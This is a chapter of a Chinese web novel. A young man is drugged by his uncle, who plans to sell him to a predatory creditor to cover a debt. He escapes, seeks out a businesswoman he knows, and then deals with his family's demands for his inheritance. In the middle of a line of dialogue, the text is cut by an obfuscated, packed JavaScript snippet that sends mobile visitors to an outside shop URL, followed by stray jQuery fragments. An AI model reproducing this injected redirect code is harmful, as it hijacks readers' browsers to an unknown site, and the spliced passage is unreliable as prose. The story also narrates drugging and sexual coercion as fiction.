容凌赫做什么都要做到最好，要不就不做，像他妈妈。


    他有个秘密，他爸爸飞机失事的消息传回来后，他妈妈的反应特别冷淡，之后一段时间，跟爸爸没出事一样，他妈妈该做什么做什么。


    有天晚上，他半夜睡醒，发现床边坐着个人，他没动装睡，适应了黑暗后，发现是他妈妈。


    那晚以后，他发现每逢他屋里灯灭后半个小时，他妈妈就会进来，坐在他床边看着他，一坐就是一宿。


    他妈妈迅速消瘦，轻飘飘的像个游魂。


    跳楼的那一晚，他妈妈仍旧来了他的房间，他也一如既往的装睡陪着她，就在他撑不下去快要睡着的时候，他妈妈弯下腰，凑到他额头前。


    温热的气息拂过来，还有他妈妈身上特有的味道，他形容不出来，就是很好闻，他以前还问过妈妈，妈妈笑着说可能是香水，他偷偷喷了妈妈的香水，明明味道不一样。


    他妈妈亲了他的额头，给他掖了掖被子，什么也没说，起身走了。


    他仍旧一动没动，时间过得很快，也很慢，不知过了多久，门上响起急促的敲门声，保姆惊慌尖锐的声音穿过门板，传了进来。


    她喊，太太跳楼了。


    之后的一切兵荒马乱，他爸爸妈妈先后出事，各种流言蜚语开始满天飞，传的最多的是他命硬，克父克母。


    他很平静，跟他爸爸去世时他妈妈的反应差不多，越来越多的人相信这种说法，包括他爷爷奶奶和外公外婆。


    他并不在意。


    他只知道，他妈妈早在他爸爸走的那天跟着走了。


    他爸爸妈妈平时感情淡淡的，没觉得多浓烈，很奇怪，他不理解。


    但也不怨，每个人有自己的人生，他也阻止不了一个真正不想活的人，自己能负责就行。


    但总有那么些人，贪婪、懦弱、自私、虚伪、无法负责自己的人生，总想吸附在别人身上，榨取别人的剩余价值满足自己。


    容家破产是必然，他姑姑远嫁海外，他小叔跟他爸爸是双胞胎，但性格迥然，享乐至上，他爷爷奶奶自从他爸爸意外后身体一直不好，公司在他小叔手里，不过几年，彻底玩儿完，还欠了一屁股债。


    这事本来跟容凌赫没有关系，虽然早已成年，但除了父母留下的一点儿钱和小别墅，不论公司还是祖业根本没有他的份，他也不在意。


    就是没想到，他小叔给他下药，把他卖给了一个喜好男色的老变态还债。


    那老变态住的地方，就是玉宇国际。


    从车库去电梯的时候他看见了一个不久前在学校门口说要包养他的女人，宋佳玉。


    他认识宋佳玉，她是圈子里的风云人物，事迹够别人说三天三夜不停，但没打过交道，他们的第一次见面就够荒唐，没想到第二次见面直接上了床。


    容秉初，也就是他小叔看见等在电梯前的宋佳玉，连忙拽着他躲开，很忌惮她的模样。


    宋佳玉在看手机，没留意这边儿，容秉初捂着他的嘴，不让他发出声音，其实容秉初多此一举了，他也没想求救。


    等宋佳玉上了电梯，容秉初才拖着他走过去，按了电梯。


    他看了眼，电梯停在了26层，正缓缓下降。


    “要不是你克死我哥，我爸身体不会变得这么差，我也不会被抓去公司当牛做马，公司更不会破产欠下巨额债务！都怨你，你个丧门星，怎么死的不是你，你看看你的模样，你爸你妈都死了，你连一滴眼泪都没有，我听保姆说你妈死前每晚都去你房间，你说你是不是知道她要跳楼？你怎么就不拦着？你怎么这么狠的心，眼睁睁看着你妈去死？”


    “你没表情吗？你别这样看着我！”


    容秉初像条疯狗一样，毫无预兆被激怒，跳起来就要给他一巴掌，手都快碰到脸了，又硬生生的停下了。


    容秉初突然嘿嘿笑了，他摸了下他的脸，特别恶心，“别说，长得是好，难怪这么多人看上你，你都不知道，自从家里破产有多少人找上我要包你。”


    他拍了拍他脸，目光猥琐，带着恶意，“赫赫呀，这些年家里不计前嫌养着你，把你养到那么大，该是你回报家里的时候了，你爷爷奶奶岁数也大了，受不了刺激，不能让他们知道公司欠钱的事。正好劳建仁看上你，愿意出大价钱养着你，钱呢，我已经收了，你呢，识趣的话就好好配合，否则吃亏的还是自己，你说是不是？”


    容凌赫自始至终沉默。


    容秉初拽着他上了电梯，电梯在28楼停下。


    容秉初又拽着他出了电梯，容凌赫看了眼，这里是一梯一户的格局，入户廊道没装饰，左手边是消防门，右手边就是劳建仁的住所。


    不知道是不是他太“乖巧”的原因，容秉初狐疑地看了他一眼，又很快放心。


    容凌赫知道自己状态不好，他浑身燥热，脚步越来越虚浮，不知道是不是错觉，头脑开始混沌，像被罩上一层雾。


    “这么管用……”


    容凌赫听见容秉初小声嘟囔。


    又拉着他去敲门。


    没想到门没锁，顺着容秉初的力道开了条缝，隐约间，有哼哼唧唧的声音传来，容秉初没动。


    靠近听了听，小声试探：“劳总？”


    没人回应，容秉初犹豫起来，悄悄推开点儿门，门质量不错，没发出一点儿动静儿，里面的声音却越发清晰。


    容秉初神情怪异，他确定了，有人在干那事。


    容凌赫从容秉初的表情也确定了，里面已经干上了。


    “小叔……”


    容秉初吓了一跳，猛地回头，刚想呵斥，就看见容凌赫拿着一个有点儿眼熟的小白瓶对着他脸喷。


    容秉初一愣，反应过来后暴怒，“你干什……”


    么字还没出口，腹部巨疼，撞到门上，他没站稳，踉跄两步，进了屋。


    容凌赫的模样也比容秉初好不到哪里去，那一脚用了他全部力气，踹完人差点儿没站稳，跟着倒进去，好在抓住了门框，猛地关上门，跌跌撞撞就往消防门跑。


    手刚放在门把手上，身后传来开门声，容秉初暴喝：“我艹你……”


    “谁！”更加粗暴的喝斥。


    容秉初脚步一顿，“是我，劳总，我带人过来了，他……”


    容秉初话又没说完，屋里传来一声撕心裂肺又气弱游丝的尖叫：“爸！”


    容秉初愣住，如遭雷击，朝房间内跑去，“杰杰……？！卧槽尼玛，你个老畜牲，你在干什么！我要告你告你告死你妈的，敢搞老子儿子，卧槽尼玛草尼玛草你全家，你他妈的给我去死！去死！去死！！！”


    “你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872586|191413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他妈疯了！是你儿子自己送上门来的，关我什么事！你他妈敢打我？卧槽！容秉初！你他妈想死？！给我滚，立马还钱……”


    容凌赫自始至终没停，他跌跌撞撞下楼，跑到25层时，眼前已经模糊，浑身烫到发抖。


    他停下。


    宋佳玉的脸从他眼前划过。


    “想好了随时来找我……”


    一分钟后，他敲响了26层的门，宋佳玉的脸出现在眼前，他抱住她，亲了上去。


    脑子里什么都没有，仅凭本能。


    半夜，房间漆黑，宋佳玉窝在被子里，头发凌乱，脸颊红润，大概是累极了，睡得很沉。


    容凌赫站在床边，看了一会儿，俯下身凑近她脖子，鼻尖蹭了蹭，像被定住一样，僵了片刻，起身离开。


    接下来的一周，容秉初疯了一样找他，容凌杰受了刺激，进了医院，还没出来，劳建仁要告容秉初，不过很快撤诉，可能脑子里的精.虫排干净了，知道这种事不能宣之于中，转而开始追缴欠款。


    他爷爷奶奶终于听到风声，给他打来电话。


    容凌赫接了。


    他爷爷的声音阴沉，带着难以掩饰的怒气，“凌杰的事是你做的？”


    容凌赫并没有被质问的慌张，“小叔做的事是您示意的？”


    “放屁！我还没有丧心病狂到要靠出卖亲孙子赚钱！”容老爷子被激怒，修身养性了十来年，第一次破口大骂。


    容凌赫静静听着，等他说完，只说了一句话：“如果没人放出风声，不会有那么多人跑到我面前喊着要包我。”


    容老爷子哑然。


    这事容凌赫一开始就跟他说了，他还给其中几家打去了电话，真没怀疑过吗？


    其实是怀疑过的，只不过……


    “你千不该万不该，不该算计凌杰，他是你亲堂哥！”容老爷子声音疲惫失望。


    “爷爷，您今天打这通电话的目的。”


    容凌赫并不解释，如果真想知道，自然会去查，既然轻易下结论，说明事实如何并不重要。


    容老爷子沉默，半晌，才道：“公司欠了债，家里能卖的都卖了，你姑姑也给了不少，还是填不上，我知道你爸妈给你留了多少钱，一直没要过，现在需要你拿出来填补家里亏空。”顿了顿，他又加了句，“还有别墅。”


    容凌赫挂了电话。


    别墅名字是他爸爸的，但他爷爷奶奶也有继承权，他并不是唯一继承人，他留不下。


    当天晚上，他从妈妈老家回来，直接去了玉宇国际。


    快十一点，有人进入门厅，高跟鞋踩在地砖上，发出咔哒、咔哒的响声。


    他抬头，看见一身职业套装的宋佳玉。


    跟那天不同，她头发挽起，露住修长的脖颈，脸很冷，但很艳，美得浓墨重彩，却不妖，可能因为走起路来腰背挺直、大步流星的原因，只觉得飒爽。


    容凌赫控制不住的想起那天，动作就慢了点儿，话也慢了点儿，等想跟她谈交易的时候，她已经说出一套完整的她感兴趣的交易内容，熟练的像说过很多遍一样。


    他放下电脑，其实，也还好，他所做的项目跟金狮或镇海都不太匹配，也远没有完善。


    而且，他并不太抵触她。


    就是，也高兴不起来。